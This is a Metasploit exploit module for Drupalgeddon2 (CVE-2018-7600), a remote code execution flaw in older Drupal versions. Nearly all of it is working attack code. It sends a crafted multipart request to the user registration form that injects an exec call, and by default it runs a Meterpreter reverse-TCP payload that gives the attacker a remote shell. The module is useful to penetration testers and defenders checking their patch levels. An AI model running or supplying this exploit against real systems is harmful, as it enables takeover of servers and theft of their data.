Drupalgeddon2 Drupal Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Drupalgeddon2',  
'Description' => %q{  
CVE-2018-7600 / SA-CORE-2018-002  
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1  
allows remote attackers to execute arbitrary code because of an issue affecting  
multiple subsystems with default or common module configurations.  
  
The module can load msf PHP arch payloads, using the php/base64 encoder.  
  
The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Vitalii Rudnykh', # initial PoC  
'Hans Topo', # further research and ruby port  
'JosA(c) Ignacio Rojo' # further research and msf module  
],  
'References' =>  
[  
['SA-CORE', '2018-002'],  
['CVE', '2018-7600'],  
],  
'DefaultOptions' =>  
{  
'encoder' => 'php/base64',  
'payload' => 'php/meterpreter/reverse_tcp',  
},  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => [ARCH_PHP],  
'Targets' =>  
[  
['User register form with exec', {}],  
],  
'DisclosureDate' => 'Apr 15 2018',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),  
])  
  
register_advanced_options(  
[  
  
])  
end  
  
def uri_path  
normalize_uri(target_uri.path)  
end  
  
def exploit_user_register  
data = Rex::MIME::Message.new  
data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')  
data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"')  
data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"')  
data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"')  
data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"')  
post_data = data.to_s  
  
# /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax  
send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri_path}user/register",  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'vars_get' => {  
'element_parents' => 'account/mail/#value',  
'ajax_form' => '1',  
'_wrapper_format' => 'drupal_ajax',  
}  
})  
end  
  
##  
# Main  
##  
  
def exploit  
case datastore['TARGET']  
when 0  
exploit_user_register  
else  
fail_with(Failure::BadConfig, "Invalid target selected.")  
end  
end  
end  
  
`